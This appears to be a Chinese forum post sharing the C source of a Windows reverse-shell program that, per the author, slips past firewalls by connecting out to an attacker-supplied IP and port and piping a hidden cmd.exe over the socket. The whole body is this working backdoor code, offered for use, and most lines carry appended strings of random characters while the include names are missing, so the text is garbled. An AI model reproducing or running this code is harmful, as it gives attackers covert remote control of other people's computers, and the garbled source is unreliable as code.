这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~99Ta]U
0Tg/R4dI
/* ============================== a&4>xZU #
Rebound port in Windows NT ejD;lvf
By wind,2006/7 En-eG37l
===============================*/ t$rWE|+_z
#include e-\J!E'1F
#include u6cWLVt
Cz m`5
#pragma comment(lib,"wsock32.lib") 0M-Zp[w\-
X~%Wg*Hm
void OutputShell(); 0 UjT<t^F
SOCKET sClient; &c?-z}=G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P g7W:L7
y7$e7~}/
void main(int argc,char **argv) 3mpEF<z
{ Fg`r:,(a
WSADATA stWsaData; NCl$vc;,
int nRet; 19&!#z
SOCKADDR_IN stSaiClient,stSaiServer; Dy0cA| E
O. @_2
if(argc != 3) Vg&`f
{ ]p@7[8}
printf("Useage:\n\rRebound DestIP DestPort\n"); o+q4Vg9&
return;
//f[%j*>
} fHR1kuy
N]} L*o&
WSAStartup(MAKEWORD(2,2),&stWsaData); 2}'&38wMT
RhXX/HFk
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +
ECV|mkk
.K;*uq:0
stSaiClient.sin_family = AF_INET; }=;N3Q" #y
stSaiClient.sin_port = htons(0); hH`yQGZ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x>p=1(L
jHTaG%oh
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y#3m|b45n
{ C`7HC2Is
printf("Bind Socket Failed!\n"); 6HFA2~A
return; bG;vl;C
} l*xA5ObV
$Y)|&,
stSaiServer.sin_family = AF_INET; Xq+7l5LP
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,k+jx53XV
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _N0x&9S$
H\8.T:>
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4- N>#
{ I)O%D3wfMW
printf("Connect Error!"); jZe]zdml
return; p"JITH:G
} QWxCNt:^?
OutputShell(); cSoZq4
} k;l^wM
&3S;5{7_e
void OutputShell() Y=/HsG\W]
{ OA&N WAm4
char szBuff[1024]; rXo,\zI;u^
SECURITY_ATTRIBUTES stSecurityAttributes; 9O~1o?ni
OSVERSIONINFO stOsversionInfo; D?8t'3no
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5"]PwC
STARTUPINFO stStartupInfo; ~+V]MT
char *szShell; SL>>]A,E<`
PROCESS_INFORMATION stProcessInformation; >c8zMd
unsigned long lBytesRead; $bD 3
;x|4Tm
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -GH#nF3G
Xl@nv9m
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /Y|9!{.
stSecurityAttributes.lpSecurityDescriptor = 0; GcHWalm
stSecurityAttributes.bInheritHandle = TRUE; /QD}_lh;,
nU||Jg
^kt#[N
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6@; w%Ea
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X}h{xl
[&3G `8hY
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f+1)Ju~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #^%Rk'W
stStartupInfo.wShowWindow = SW_HIDE; /,$6`V
stStartupInfo.hStdInput = hReadPipe; daY^{u3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >{ne!
g6;O)b
GetVersionEx(&stOsversionInfo); ^V_vpr]}P
IgR_p7['.
switch(stOsversionInfo.dwPlatformId) Op\l
{ 0JKbp*H
case 1: /p?h@6h@y
szShell = "command.com"; R8O<}>3a
break; ~$YFfv>
default: :q0C$xF
szShell = "cmd.exe"; I `p44}D3
break; w'?uJW
} HaJD2wvr
!>
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i!ejK6Q
r]kLe2r:B
send(sClient,szMsg,77,0); 1!0BE8s"@
while(1) d+[hB4!l2
{ YmNBtGhT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J[RQF54qA{
if(lBytesRead) )TVyRY Z1
{
lf[(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z^ KrR
send(sClient,szBuff,lBytesRead,0); ?N&"WL^|
} c3g\*)Jz"F
else X;6&:%ZL@^
{ 4$1sBY/
lBytesRead=recv(sClient,szBuff,1024,0); [[LCEw
if(lBytesRead<=0) break; xH; 4lw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MpGWt#
} v|CRiwx
} J:M^oA'N:>
V)_mo/D!D
return; *~:4&$
}